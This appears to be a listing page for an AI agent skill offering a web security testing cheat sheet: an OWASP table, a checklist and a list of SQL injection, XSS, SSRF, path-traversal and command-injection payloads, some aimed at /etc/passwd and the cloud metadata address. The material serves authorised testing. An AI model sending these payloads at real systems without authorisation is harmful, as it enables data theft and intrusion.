# Web Security Expert

> Web application security expert. OWASP Top 10, XSS, SQLi, CSRF, SSRF, authentication bypass, IDOR. Use for web app security testing.

- Skill: `duck4nh/web-security-expert` (Agent Skill)
- Install (CLI): `npx skillmds@latest add duck4nh/web-security-expert`
- Raw SKILL.md: https://api.skillmd.com/api/skills/duck4nh/web-security-expert/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: duck4nh (https://skillmd.com/u/duck4nh)
- Updated: 2026-09-09
- Page: https://skillmd.com/skills/duck4nh/web-security-expert

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# Web Security Expert

## OWASP Top 10 Quick Reference

| Vuln | Test | Payload Example |
|------|------|-----------------|
| **SQLi** | `'`, `"`, `1 OR 1=1` | `' UNION SELECT null,username,password FROM users--` |
| **XSS** | `<script>`, event handlers | `<img src=x onerror=alert(1)>` |
| **SSRF** | Internal URLs | `http://127.0.0.1`, `http://169.254.169.254` |
| **IDOR** | Change IDs | `/api/user/123` → `/api/user/124` |
| **LFI** | Path traversal | `../../../etc/passwd` |
| **RCE** | Command chars | `; id`, `| whoami`, `` `id` `` |

## Testing Checklist

### Authentication
- [ ] Brute force protection
- [ ] Password reset flaws
- [ ] Session fixation
- [ ] JWT vulnerabilities

### Authorization
- [ ] IDOR on all endpoints
- [ ] Privilege escalation
- [ ] Missing function level access

### Input Validation
- [ ] SQLi all parameters
- [ ] XSS reflected/stored
- [ ] Command injection
- [ ] File upload bypass

## Quick Payloads

```
# SQLi
' OR '1'='1
' UNION SELECT null,null,null--
'; WAITFOR DELAY '0:0:5'--

# XSS
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)

# SSRF
http://127.0.0.1:80
http://[::]:80
http://169.254.169.254/latest/meta-data/

# LFI
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
```

## Tools

| Purpose | Tool |
|---------|------|
| Proxy | Burp Suite, OWASP ZAP |
| SQLi | sqlmap |
| XSS | XSStrike, dalfox |
| Fuzzing | ffuf, wfuzz |